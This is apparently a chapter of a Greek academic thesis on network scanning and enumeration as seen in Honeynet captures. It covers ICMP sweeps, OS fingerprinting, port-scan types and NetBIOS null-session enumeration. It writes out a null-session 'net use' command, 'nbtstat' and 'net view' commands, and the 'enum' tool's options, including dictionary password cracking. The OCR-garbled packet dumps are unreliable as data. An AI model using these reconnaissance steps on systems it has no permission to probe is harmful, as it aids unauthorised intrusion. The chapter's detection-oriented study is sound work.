18 07:17:07.036805 217.35.27.25 192.168.0.12 ICHP Echo (ping) request 19 07:17:07.038389 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 20 07:17:07.044462 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 20 07:17:07.044462 217.35.27.25 192.168.0.14 ICMP Echo (ping) request rame 21 (74 bytes on wire, 74 bytes captured) thernet II, Src: 00:e0:b0:2b:e3:d2, Dst: 00:00:0c:01:08:c6 image: 00:00:0c:01:08:c6 nternet Protocol, Src Addr: 217.35.27.25 (217.35.27.25), Dst Addr: 192.168.0.15 (192.168.0.15) internet Control Message Protocol image: 00:00:0c:01:08:c6 image: 00:00:0c:01:08:c6 00 00:00:0c:01:09:c6:00:e0 b0:2b:e3:d2:08:00:45:80 image: 00:00:00:c0:108:c6 00:00:0c:01:09:c6:00:e0 b0:2b:e3:d2:08:00:45:80 image: 00:00:00:00:00:00:00:00:00:00:00:00:00	1	7 07:17:07.03531	3 217.35.2	7.25	192.168.	0.11	ICHP	Echo (pin	ig) request		
19 07:17:07.038389 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 20 07:17:07.044462 217.35.27.25 192.168.0.14 ICMP Echo (ping) request rame 21 (74 bytes on wire, 74 bytes captured) thermet 11, Src: 00:e0:b0:2b:e3:d2, Dst: 00:00:0c:01:09:c6 ntermet Protocol, Src Addr: 217.35.27.25 (217.35.27.25), Dst Addr: 192.168.0.15 (192.168.0.15) Image: 100 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80 ****** 0 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80 ****** 0 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80 ****** 0 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80 ******* 0 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80 ******* 0 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80 ***********************************	1	8 07:17:07.03680	5 217.35.2	7.25	192.168.	0.12	ICHP	Echo (pin	ig) request		
20 07:17:07,044462 217,35.27,25 192.168.0,14 ICMP Echo (ping) request rame 21 (74 bytes on wire, 74 bytes captured) thermet 11, Src: 00:e0:b0:2b:e3:d2, Dst: 00:00:0c:01:09:c6 ntermet Protocol, Src Addr: 217.35.27.25 (217.35.27.25), Dst Addr: 192.168.0.15 (192.168.0.15) ntermet Control Message Protocol 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80	1	9 07:17:07,03838	9 217,35,2	7,25	192.168.	0,13	ICHP	Echo (pin	ig) request		
rame 21 (74 bytes on wire, 74 bytes captured) thermet 11, Src: 00:e0:b0:2b:e3:d2, Dst: 00:00:0c:01:03:c6 ntermet Protocol, Src Addr: 217.35.27.25 (217.35.27.25), Dst Addr: 192.168.0.15 (192.168.0.15) ntermet Control Message Protocol 0 00 00 oc 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80 0 00 3c 06 7b 00 00 2c 01 d7 91 d9 23 1b 19 8f e9 0 2c 0f 08 00 1c 43 02 00 85 62 454 54 54 54 54 54 54 0 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45	2	0 07:17:07.04446	2 217,35.2	7,25	192.168.	0,14	ICNP	Echo (pin	ig) request		
rame 21 (74 bytes on wire, 74 bytes captured) thernet II, Src: 00:e0:b0:2b:e3:d2, Dst: 00:00:00:01:09:c6 nternet Protocol, Src Addr: 217.35.27.25 (217.35.27.25), Dst Addr: 192.168.0.15 (192.168.0.15) nternet Control Message Protocol 0 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80	_		_			111.					
rame 21 (74 bytes on wire, 74 bytes captured) thermet II, Src: 00:e0:b0:2b:e3:d2, Dst: 00:00:00:00:01:09:c6 internet Protocol, Src Addr: 217.35.27.25 (217.35.27.25), Dst Addr: 192.168.0.15 (192.168.0.15) internet Control Message Protocol 0 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80	_					300	0				1
nternet Protocol, Src Addr: 217.35.27.25 (217.35.27.25), Dst Addr: 192.168.0.15 (192.168.0.15) nternet Control Message Protocol 0 00 00 co 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80 0 00 3c 06 7b 00 00 2c 01 d7 91 d9 23 1b 19 8f e9 2c 0f 08 00 1c 49 02 00 85 62 45 45 45 45 45 45 45 2c 0f 08 00 1c 49 02 00 85 62 45 4	the	e 21 (74 bytes o ernet II. Src: 00	n wire, 74 :e0:b0:2b:	bytes captur e3:d2, Dst: 0	ed) 0:00:0c:01	L:09:c6					
1 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80	inte	ernet Protocol, S	rc Addr: 2	17.35.27.25 (217.35.27.	.25), Dst Add	r: 192.16	8.0.15 (1	92.168.0,15)		
00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80	inte	ernet Control Mes	sage Proto	co)							
0 00											- 17
0 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80	_										
0 00 3c 06 7b 00 00 2c 01 d7 91 d9 23 1b 19 8f e9 .<.{#	0 1	00 00 0c 01 09 d	5 00 e0 bi	2b e3 d2 08	00 45 80		•E.				
0 2c 0f 08 00 1c 49 02 00 85 62 45 45 45 45 45 5 0 45 45 45 45 45 45 45 45 45 45 45 45 45	0 (00 3c 06 7b 00 0) 2c 01 d	7 91 d9 23 1b	19 8f e9	.<.{					
9 45 45 45 45 45 45 45 45 45 45 45 45 45	0 :	2c Of 08 00 1c 4	3 02 00 89	62 45 45 45	45 45 45	····· ·	DEEEEEE				
	0 1	45 45 45 45 45 45	2 45 45 45 3 46 46 40	0 45 45 45 45 2 45	45 45 45	ELLELLE L	EEEEEEE				
	v ,	40 40 40 40 40 40	1 40 40 40	5 40		CEEEEEE E					

Εικόνα 3-1

TCP Sweeps

Η μέθοδος του ICMP sweeps, είναι χαρακτηριστική, αλλά όχι η μοναδική μέθοδος Ping Sweeps. Μια άλλη μέθοδος για να αναγνωρίσουμε μηχανήματα είναι αυτή κατά την οποία στέλνονται TCP SYN ή TCP ACK πακέτα σε χαρακτηριστικές πόρτες (συνήθως 21, 22, 23, 25, 80) και ελέγχονται οι απαντήσεις. Από αυτές τις απαντήσεις, μπορούμε να μάθουμε ποια μηχανήματα είναι ενεργά και μάλιστα, ποιες υπηρεσίες τρέχουν πάνω σ' αυτά.

> OS Detection scan

Με διάφορες μεθόδους μπορούμε να αποκαλύψουμε το λειτουργικό σύστημα ενός απομακρυσμένου μηχανήματος.

Banner Grabbing

Η πιο απλή σχετικά μέθοδος για να καταλάβουμε τι λειτουργικό σύστημα έχει το μηχάνημα που κάνουμε scan είναι η μέθοδος Banner Grabbing. Η μέθοδος αυτή εκμεταλλεύεται το γεγονός ότι πολές υπηρεσίες εμφανίζουν κάποιους banners όταν κάποιος συνδεθεί με αυτές, οι οποίες περιέχουν πληροφορίες για το λειτουργικό.

Ας πάρουμε ένα παράδειγμα της υπηρεσίας telnet (port 23).

Trying 192.168.0.140... Connected to 192.168.0.140 (192.168.0.140). Escape character is '^]'. Welcome to Microsoft Telnet Service

Πίνακας 3-1

Παρατηρώντας την τελευταία γραμμή του banner στον πίνακα 3-1, εύκολα μπορούμε να καταλάβουμε ότι το συνδεθήκαμε με ένα μηχάνημα που τρέχει windows.

ICMP кал OS Detection scan

Υπάρχουν βέβαια πιο περίπλοκες μέθοδοι από το Banner Grabbing όπως το ICMP scan. Το ICMP scan, εκτός από Ping Sweep, μπορεί να χρησιμοποιηθεί και σαν OS Detection scan, δηλαδή για να εντοπίσει ο επιτιθέμενος το λειτουργικό σύστημα του μηχανήματος που του απαντάει στην icmp αίτηση του επιτιθέμενου. Στον παρακάτω πίνακα που βρήκαμε στο βιβλίο του **Honeynet Project** (know your enemy 2nd edition <u>http://www.honeynet.org/book/index.html</u>), μπορούμε να

Operating System	DF Bit Set?	IP ID Gap	IP Time- to-Live with Request Starting Value	ICMP ID Field Value Starts with HEX/Decimal	ICMP ID Value	ICMP Sequence Number Initial Value	ICMP Sequence Number Gap	Payload Content Offset from the ICMP Header (bytes)	Payload Content	Payload Size (bytes)
Linux kernel 2.2.x	No	1	64	According to	According to other	0	100/256	8	Symbols	56
Linux kernel 2.4.x	No	1	64	other processes in the system	processes in the system	0	100/256	8	and signs	56
FreeBSD 4.1	No	1	255			0		8		56
FreeBSD 3.4	No	1	255			0		8		56
OpenBSD 2.7	No		255	According to				8		56
OpenBSD 2.6	No		255	other processes	According to other			8	Symbols	56
NetBSD	No	1	255	in the system	processes in the system	0		8	and signs	56
BSDI BSD/OS 4.0	No		255					8		56
BSDI BSD/OS 3.1	No		255					8		56
Aix 4.1		1	255			0	1/1	8	Symbols and signs	56
Solaris 2.5.1	Yes	1	255			0	1/1	8		56
Solaris 2.6	Yes	1	255	According to	According to other	0	1/1	8		56
Solaris 2.7	Yes	1	255	other processes	processes in the system	0	1/1	8	Symbols	56
Solaris 2.8	Yes	1	255	in the system	1	0	1/1	8	and signs	56
Windows 95	No		32							
Windows 98	No	256	32			256	100/256	0	Alphabet	32
Windows 98 SE	No	256	32	200/512	Value Always = 512; equals the number first assigned	256	100/256	0	Alphabet	32
Windows ME	No	1	32	300/768	Value always = 768; equals the number first assigned	256	100/256	0	Alphabet	32
Windows NT 4 Workstation SP3	No	256	32	100/256	Value always = 256; equals	256	100/256	0	Alphabet	32
Windows NT 4 Workstation SP6a	No	256	. 32	100/256	Value always = 256; equals the number first assigned	256	100/256	0	Alphabet	32
Windows 2000 family	No	1	128	200/512	Value always = 512 ; equals	256	100/256	0	Alphabet	32
Windows 2000 family with SP1	No	1	128	300/768	Value always = 768; equals the number first assigned	256	100/256	0	Alphabet	32

διακρίνουμε μερικές λεπτομέρειες σε ένα icmp πακέτο οι οποίες μπορούν να προσδιορίσουν το λειτουργικό σύστημα που παρήγαγε το πακέτο αυτό.

> Port Scan

Με αυτόν τον τύπο scan, ψάχνουμε ανοιχτές πόρτες με υπηρεσίες που τρέχουν. Υπάρχουν κάποιες κατηγορίες αυτού του τύπου scan όπως το TCP SYN scan, SYN-ACK Scan, ACK scan.

TCP SYN Scan.

Χρησιμοποιείται κυρίως για scan τύπου port scan αλλά και όχι μόνο. Όπως είδαμε νωρίτερα σε αυτό το κεφάλαιο, μπορεί να χρησιμοποιηθεί και για OS Detection scan και για άλλου τύπου scans.

Syn scan.

Η τεχνική Syn Scan χρησιμοποιείται δύο μεθόδους port scan:

• Την μέθοδο Open Scan, που είναι και η ποιο διαδεδομένη

• και την μέθοδο Half Open Scan

Στη πρώτη μέθοδο, **Open Scan**, η φιλοσοφία είναι απλή, για να εντοπίσουμε αν μια πόρτα είναι ανοιχτή, αρκεί να συνδεθούμε με αυτή την πόρτα με την διαδικασία του 3-way-handshake. Αν επιτύχει η σύνδεση η πόρτα είναι ανοιχτή, δηλαδή ακούει κάποια εφαρμογή σε αυτή την πόρτα, αλλιώς, αν δεν πετύχει η σύνδεση, η πόρτα είναι κλειστή.

Ανοιχτή πόρτα στον server:

client -> SYN server -> SYN|ACK client -> ACK

Κλειστή πόρτα του server :

client -> SYN server -> RST|ACK client -> RST

Αυτή η μέθοδος είναι αρκετά αξιόπιστη αλλά είναι και πολύ εύκολα ανιχνεύσιμη.

Η μέθοδος **Half Open Scan**, δεν είναι κάτι τελείως διαφορετικό, δουλεύει όπως και η **Open Scan** μέθοδος, αλλά δεν χρειάζεται να ολοκληρωθεί η διαδικασία του 3-way-handshake, αλλά και με την μισή διαδικασία μπορεί να βγει το επιθυμητό αποτέλεσμα. Αυτό έχει σαν συνέπεια να μην καταγράφεται η προσπάθεια σύνδεσης, στα logs της μηχανής που έγινε το scan. Η διαδικασία έχει ως εξής, στέλνεται ένα SYN πακέτο προς τον server, αν ο server απαντήσει SYN|ACK, τότε η πόρτα καταλαβαίνουμε ότι η πόρτα είναι ανοιχτή και δεν χρειάζεται να συνεχιστεί η διαδικασία του 3-way-handshake και ο client την διακόπτεί με RST. Αν η πόρτα είναι κλειστή, στη SYN αίτηση που γίνεται στο server επιστρέφει απάντηση RST|ACK.

Ανοιχτή πόρτα στον server:

client -> SYN server -> SYN|ACK client -> RST

Κλειστή πόρτα του server :

client -> SYN server -> RST|ACK

SYN-ACK Scan.

Με αυτή την μέθοδο υλοποιείται, εσκεμμένα, λανθασμένα η διαδικασία του 3-way-handshake μεταξύ δύο hosts. Πώς αποκαλύπτεται η κατάσταση μίας πόρτας ; Αν η πόρτα είναι κλειστή τότε :

Όταν ο server λάβει ένα SYN-ACK πακέτο χωρίς να έχει στείλει προηγουμένως SYN, καταλαβαίνει ότι είναι λάθος και στέλνει RST.

client -> SYN|ACK server -> RST

Όταν η πόρτα είναι ανοιχτή ο server αγνοεί το πακέτο και δεν στέλνει απάντηση.

client -> SYN|ACK

server -> -

Όπως βλέπουμε στην παρακάτω εικόνα 3-2

0408	200-anort.log -	Ethereal			D X
Elle	<u>E</u> dit <u>V</u> iew	Capture Analyze	<u>H</u> elp		
	🗁 🗔 🗙		🗢 😔 🚺		
No.	Time	Source	Destination	otoci Info	
23	23:09:34,736104 23:52:47.160559 23:57:07.162427	200,177,252,100 200,177,252,100 200,177,252,100	192.168.0,9 192.168.0.44 192.168.0,27	TCP [TCP ZeroUindow] 80 > 42781 [SYN, ACK] Seq=0 Ack=1 Win=0 Len=0 MSS TCP [TCP ZeroUindow] 80 > 33070 [SYN, ACK] Seq=0 Ack=1 Win=31624 Len=0 TCP 80 > 25823 [SYN, ACK] Seq=0 Ack=1 Win=31624 Len=0 MSS=536	= 536 MSS=5
⊞ Fr ⊞ Et ⊞ Ir ⊞ Tr	ame 1 (58 bytes hernet II, Src; iternet Protocol, ansmission Contr	on wire, 58 bytes 00;e0:b0:2b:e3:d2 , Src Addr: 200,17 rol Protocol, Src	captured) , Bst: 00:00:0c:0 7.252.100 (200.17) Port: 80 (80), Dst	1:09:c6 7.252.100), Ist Addr: 192.168.0.9 (192.168.0.9) t Port: 42781 (42781), Seq: 0, Ack: 1, Len: 0	
4					>
0000 0010 0020 0030	00 00 0c 01 09 00 2c ad f0 40 2c 09 00 50 a7 00 00 c3 59 00	0 c6 00 e0 b0 2b e 0 00 2d 05 1e 53 d 1 d 8d 43 22 9e 0 0 00 02 04 02 18	93 d2 08 00 45 80 18 b1 fc 64 8f e9 30 00 00 01 60 12	e,	•
Filter	p addr eq 200	1177 252 100		▼ Reset Apply File: 0408@00-snort.log	*

Εικόνα 3-2 – SYN | ACK scan

ACK Scan.

Με αυτή την μέθοδο στέλνονται ACK πακέτα και στην συνέχεια μελετούνται τα TTL και WIN πεδία των RST πακέτων που απαντάει ο στόχος.

Η μέθοδος αυτή στηρίζεται σε ελαττωματικές εκδόσεις κάποιων παλιών λειτουργικών συστημάτων και την συναντάμε σπάνια

> Scan για Vulnerabilities

Αφού εντοπιστούν οι υπηρεσίες που τρέχουν σε ένα σύστημα , με αυτό το είδος scan εξετάζεται αν αυτές οι υπηρεσίες έχουν κάποια αδύναμα σημεία (Vulnerabilities) τα οποία να μπορεί να εκμεταλλευτεί ο επιτιθέμενος κατά αυτού του συστήματος.

Αυτά τα scans κάνουν τεστ στο σύστημα στόχο και συνήθως εκτελούν κάποιο **exploit** του **vulnerability** που βρίσκουν στο σύστημα στόχο . (Παράδειγμα exploit βρίσκουμε : <u>http://www.securiteam.com/exploits/5YP0D003FQ.html</u>)

> Firewalking

Το Firewalking είναι ένα είδος Scan το οποίο χρησιμοποιείται για την συλλογή πληροφοριών που αφορούν ένα απομακρυσμένο δίκτυο, το οποίο προστατεύεται από ένα Firewall. Η τεχνική αυτή είναι παρόμοια με την λειτουργία του traceroute και στέλνοντας πακέτα διαφορετικών πρωτοκόλλων σε ένα δίκτυο, μπορεί να καθορίσει ποιες πόρτες είναι ανοιχτές ή κλειστές σε ένα firewall, ποια είδη πακέτων (όσο αναφορά το πρωτόκολλο) επιτρέπει ένα firewall να περνάνε καθώς επίσης και ποιοι hosts υπάρχουν πίσω από το firewall.

Περισσότερες πληροφορίες για scan, μπορούμε να βρούμε στην πτυχιακή εργασία του Γιάννη Παπαπάνου, που πραγματοποιήθηκε στο Internet Systematics Lab του Εθνικού Ερευνητικού Κέντρου «Δημόκριτος», Απρίλιος 2003, με θέμα Δικτυακές επιθέσεις – επιπτώσεις και τρόποι ανίχνευσης τους, στο "κεφάλαιο 1 – Scanners και Scan".

Περιπτώσεις Scan

Στη συνέχεια θα παρουσιάσουμε παραδείγματα από το **Honeynet** και πως φαίνονται μέσα από τα tools που χρησιμοποιούμε.

NetBios Scan.

Ένα συνηθισμένο scan που συναντάτε αρκετά είναι το scan για netbios. Στα windows NT /2000, είναι διαδεδομένη η ιδιότητα να προσφέρουν σε κάποιον απομακρυσμένο υπολογιστή, πολύτιμες πληροφορίες για το σύστημά μέσω CIFS/SMB (Common Internet File System/Server Message Block) και NetBIOS, το οποίο είναι βασικά το Applications Programming Interface στα δίκτυα της Microsoft.

Τα CIFS/SMB και NetBIOS παρέχουν APIs (Application Programing Interfaces), τα οποία επιστρέφουν πλούσιες πληροφορίες για το μηχάνημα μέσω της TCP port 139, ακόμα και σε μη εξουσιοδοτημένους χρήστες. Μία μέθοδος για απομακρυσμένη πρόσβαση στα APIs των NT/2000 είναι η "null session" και απαιτεί να είναι ανοιχτή (να ακούει) η πόρτα 139.

Windows εντολή :

net use \\192.168.0.10\IPC\$ ""/u:""

Με αυτή την σύνταξη, συνδεόμαστε στις κρυφές διεργασίες επικοινωνίας "share" (IPC\$) της IP 192.168.0.10 σαν τμήμα του χρήστη anonymous (/u:"") με κενό password (""). Αν πετύχει η διαδικασία, ανοίγει ένα κανάλι επικοινωνίας και μπορεί ο επιτιθέμενος να πάρει όσες πληροφορίες παρέχονται για το σύστημά στόχο, όπως τους users τα groups τα κοινόχρηστα αρχεία, πληροφορίες δικτύου και άλλα.

Απαρίθμηση πόρων δικτύου για windows NT/ 2000

Αυτό το είδος scann απαρίθμησης πόρων δικτύου (Network Resource Enumeration) επιτυγχάνεται με διάφορα command line εργαλεία όπως:

the entropy net view , poumas empanized ta domains (pinakas 3-2)

c:\> net view /domain

Domain CORLEONE BRAZIL

Πίνακας 3-2

αλλά και τα μηχανήματα του domain (Πίνακας 3-3)

c:\> net view /domain:brazil

Server Name Remark

 Image: With the second seco

Πίνακας 3-3

Ακόμα και τους κοινόχρηστους πόρους, φακέλους , εκτυπωτές , από απομακρυσμένα συστήματα , με την εντολή που φαίνεται στον πίνακα 3-4

c:\> net view \\\VIT	Ο̈́Ο		
Shared resources at	\\192.168.0.20		
VITO			
Share Name Typ	e used as	Comments	
NETLOGON Test	Disk Disk		Logon server share Public access

Πίνακας 3-4

To **nbtstat**, το οποίο καλεί τον NetBIOS πίνακα ονομάτων από το απομακρυσμένο σύστημα , και επιστρέφει αποτέλεσμα με την μορφή που βλέπουμε στην εικόνα 3-3

C:\WINDOWS\System32\cm	id.exe		
C:\Documents and Setting	s\user1>nt	tstat -A 192.168.0.1	
Local Area Connection: Node IpAddress: [192.168.().11 Scope 1	d: []	
NetBIOS Remot	e Machine	Name Table	
Nane	Туре	Status	
NON-MTSU1EUHKDZ<00>		Registered	
NON-MT8U1EUHKDZ<03>	UNIQUE	Registered Registered	
WORKGROUP (1E)	GROUP	Registered	
WORKGROUP <1D> MSBROWSE	UNIQUE	Registered Registered	
MAC Address = 00-0C-	-29-D0-20-C	:0	
HHC HAAPess = 00-0C-	27-00-20-0	0	
C:\Documents and Setting	s\user1>_		



Παρακάτω στον Πίνακα 3-5 μπορούμε να δούμε τους πιο συνηθισμένους κωδικούς NetBIOS υπηρεσιών.

NetBios Code	Resource
<computer name="">[00]</computer>	Workstation Service
<domain name="">[00]</domain>	Domain Name
<computer name="">[03]</computer>	Messenger Service (for messages sent to this computer)
<user name="">[03]</user>	Messenger Service (for messages sent to this user)
<computer name="">[20]</computer>	Server Service
<domain name="">[1D]</domain>	Master Service
<domain name="">[1E]</domain>	Browser Service Elections
<domain name="">[1B]</domain>	Domain Master Browser

Πίνακας 3-5

Ας πάρουμε ένα παράδειγμα από δεδομένα πού μπορούμε να πάρουμε με την χρήση του **nbtstat** στην εικόνα 3-4.

	View Capture Anal	vze Help		•
	X®BA			
D Time	Source	Destination	Protocol	Info
1 0,000 2 1,440 3 2,947	000	192.168.44.12 192.168.44.12 192.168.44.12	a Nens a Nens a Nens	Nake query NESTAT *(00>(00>(00>(00>(00>(00>(00>(00>(00>(00
rame 1 (9	butes on wire, 92 bu	tes captured)		-1////
ternet I ternet P	. Src: 00:e0:b0:2b:e3 otocol, Src Addr:	:d2, Dst: 00:00:00:00:01: 	:09:c6 11,135), Öst Addr:	:192.168.44,129 (192.168.44.123)
ser Datag etBIOS Na	am Protocol, Src Port me Service	: netbios-ns (137), Ds	st Port; netbiosm	ns (137)
Transac	tion ID: 0x8044 0x0000 (Name query)			
EFlags:				
⊞ Flags: Questic	nst 1			
∃ Flags: Questic Answer Authori	ns: 1 RRs: 0 ty RRs: 0			
E Flags: Questic Answer Authori Additic	ns: 1 RRs: 0 ty RRs: 0 val RRs: 0			
■ Flags: Questic Answer Authori Additio ■ Queries ■ *000	ns: 1 RRs: 0 ty RRs: 0 nal RRs: 0 ><00><00><00><00><00><000	00>000 000 000 000 000 0	0><00>000<00>; t	ype NBSTAT, class inet
E Flags: Questic Answer Authori Additio Queries E *400	ns: 1 RRs: 0 ty RRs: 0 nal RRs: 0 ><00><00><00><00><00><00><00 lame: *<00><00><00><00 upe: NBSTAT	000-000-000-000-000-000-000-000-000-00	0><00><00><00><00>; t	ype NBSTAT, class inet 10><00> (Workstation/Redirector)
E Flags: Questic Answer Authori Additic Queries	ns: 1 RRs: 0 ty RRs: 0 nal RRs: 0 ><00><00><00><00><00><00 (00><00><00 (00><00><00 (00><00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00)<<00 (00) 00<br (00)<<00 (00) 00<br (00) 00<br (0	000>000>000>000>000>000> >000>000>000>0	0>000000000000000000000000000000000000	ype NBSTAT, class inet 10><00> (Warkstation/Redirector)
E Flags: Questic Answer Authori Additio Queries E *00	ns: 1 RRs: 0 ty RRs: 0 nal RRs: 0 ><00><00><00><00><00><00><00 (0)<00><00><00><00 (0)<00><00 (0)<00><00 (0)<00 (0)<00 (0)<00 (0)<00 (0)<00 (0)<00 (0)<00 (0)<00 (0) (0) (0) (0) (0) (0) (0) (00000000000000000000000000000000000000	00000000000000000000000000000000000000	ype NBSTAT, class inet 10><00> (Warkstation/Redirector)
☐ Flags: Questic Answer Authort Oueries ☐ *000 0 00 00 0 0 00 4e 0 0 2c 81 0	ns: 1 RRs: 0 ty RRs: 0 hal RRs: 0 <00><00><00><00><00><00><00> (00><00><00><00><00><00 (per NBSTAT c 01.09 c5 00 e0 b0 2 1 bb 00 00 7e 11 cs c 0 85 00 83 00 3a cf 1	000>000>000>000>000>000>000>000>000>00	0>000000000000000000000000000000000000	gpe NBSTAT, class inet 10><00> (Workstation/Redirector)
➡ Flags: Questic Answer Authorn Additio □ Queries □ *000 0 00 00 0 0 00 4 0 0 00 00 0 0 00 4 1 0 00 00 0 0 0 41 41 4	ns: 1 RFs: 0 ty RFs: 0 hal RFs: 0 ><00><00><00><00><00><00><00><00><00 (upe: NBSTAT c 01 09 c6 00 e0 b0 2 1 1b 00 00 7e 11 ca 1 0 85 00 38 00 3a cf 0 0 80 00 20 43 4f 41 41 41	000>000>000>000>000>000>000>000>000>00	0><00><00><00><00>; t (00><00><00><00><00><0 ;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	ype NBSTAT, class inet 10><00> (Workstation/Redirector) * * * # #
➡ Flags: Questic Authori Additio ■ Queries ■ *000 0 00 00 0 0 00 4= 0 0 00 00 0 0 00 4= 0 0 00 00 0 1 41 41 4	ns: 1 RRs: 0 ty RRs: 0 nal RRs: 0 ><00><00><00><00><00><00><00><00> ype: NBSTAT c 01.09 c6 00 e0 b0 : 1 1b 00 00 7e 11 cs 1 0 85 00 83 00 34 cf 0 0 85 00 20 43 4f 1 1 41 41 41 41 41 41 41 1 41 41 41 40 00 1	000>000>000>000>000>000>000>000>000>00	0><00><00><00><00>; t (00><00><00><00><00>; t 	ype NBSTAT, class inet 10>000> (Warkstation/Redirector)

Κεφάλαιο 3

Εικόνα 3-4 (με το ΙΡ του σταθμού εργασίας κρυμμένο)

Αυτό το αποτέλεσμα έχει καταγραφεί μετά από την εκτέλεση της εντολής *'nbtstat -A 195.251.44.279'*

Στην γραμμή 1 φαίνεται η αίτηση που στάλθηκε μέσο UDP. Ενώ είναι κυκλωμένα με κόκκινο χρώμα τα byte που στάλθηκαν με αυτό το πακέτο. Στον παρακάτω πίνακα (πίνακας 3-6) μπορούμε να δούμε την σημασία του κάθε byte όπως τα εξηγεί και στο site του SANS στο οποίο μιλάει για port scan στην πόρτα 137 <u>http://www.sans.org/resources/idfaq/port_137.php</u>.

- Bytes 0 & 1: Xid
- Value: 00 D4 (this value increments with each new query)
- Bytes 2 & 3: Opcode NMflags & Rcode
- Value: 00 10 = request, query, broadcast/multicast
- Bytes 4 & 5: QDcount (number of name queries in packet)
- Value: $00\ 01 = 1$ name query
- Bytes 6 to 11: ANcount, NScount, ARcount
- Value: 00 00 00 00 00 00 = Not used in this frame.
- Byte 12: Size of name field
- Value: 0x20 = decimal value 32 (next 32 bytes used for name)
- Bytes 13 to 45: Name field
- Value 43 4b 41 41 41...(ETC.) This is the ascii string CKAAAAA... in the packet. It is a mangled name done by splitting the hex value of each character into two parts(nibbles) and then adding 0x41 to each nibble. In this packet the name is an asterisk "*" followed by nulls. The hex value of * is 2A, splitting and adding it would become: (2+41=43) and (A+41=4B) The Ascii Value of these two results is "CK". The remaining nulls added to 41 remain 41 or "A"
- Byte 46 Null field delimeter
- Bytes 47 & 48 Question_type
- Value: 00 21 = Node Status request (nbstat).
- Bytes 49 & 50 Question Class
- Value: 00 01 = Internet Class.

Πίνακας 3-6

Υπάρχουν και άλλα εργαλεία που δεν θα τα αναλύσουμε περισσότερο, όπως το nbtscan, το οποίο κάνει ένα netBIOS scan σε ένα εύρος ΙΡ διευθύνσεων

(<u>http://www.abb.aha.ru/software/nbtscan.html</u>) και το nltest εργαλείο που αναγνωρίζει τον Primary και τον Backup Domain Controler (PDC και BDC).

Εκτός όμως από τα command line υπάρχουν και γραφικά εργαλεία GUI, αναγνώρισης πόρων δικτύου όπως το dumpSec (<u>http://www.somarsoft.com</u>), για εμφάνιση των κοινόχρηστων πόρων

(shares), όπως επίσης και το leagion και άλλα NetBIOS Auditing Tools (NAT) scanners τα οποία μπορούμε να βρούμε στο <u>http://hackingexposed.com</u>.

Διάφορα εργαλεία Απαρίθμησης πόρων δικτύου για windows NT/ 2000

Με την χρήση κάποιων άλλων εργαλείων, ο επιτιθέμενος έχει την δυνατότητα να συλλέξει περισσότερες πληροφορίες για τους πόρους ενός δικτύου.

To **netviewx** για παράδειγμα είναι ένα ισχυρό εργαλείο για τον εντοπισμό των κόμβων ενός domain και τις υπηρεσίες (services) που τρέχουν (<u>http://www.ibt.ku.dk/jesper/NetViewX/default.htm</u>).

Ένα αρκετά διαδεδομένο enumeration εργαλείο είναι το **enum** (<u>http://razor.bindview.com/tools/desc/enum_readme.html</u>). Το **enum** έχει αρκετές δυνατότητες και από το παρακάτω παράδειγμα που θα εξετάσουμε, θα δούμε ότι χρησιμοποιείται από τους επιτιθέμενους για αναγνώριση χρηστών του συστήματος.

Περισσότερες πληροφορίες για enumeration και NetBIOS μπορούμε να βρούμε στο βιβλίο **HACKING EXPOSED second edition –Chapter 3 "enumeration".**

anum <_I IMNSPGI dc> <_u username> <_n nassword> <_f dictfile> <hostnamelin></hostnamelin>
enum stommon olluce stu usernamee ste passworde sti ulumee shosmamelipe
-U is get userlist
-M is get machine list
-N is get namelist dump (different from -U -M)
-S is get sharelist
-P is get password policy information
-G is get group and member list
-L is get LSA policy information
-D is dictionary crack, needs -u and -f
-d is be detailed, applies to -U and -S
-c is don't cancel sessions
-u is specify username to use (default "")
-p is specify password to use (default "")
-f is specify dictfile to use (wants -D)

Πίνακας 3-7 - Ιδιότητες εργαλείου enum.

Στο επόμενο παράδειγμα (πίνακας 3-8) βλέπουμε ένα ASCII session από το **snort** που μοιάζει σαν κάποιος συνδυασμός από enumeration εργαλεία. Υπάρχουν πολλοί χαρακτήρες ελέγχου που κάνουν αρκετά δυσανάγνωστα τα δεδομένα, αλλά θα προσπαθήσουμε να βγάλουμε κάποια συμπεράσματα.



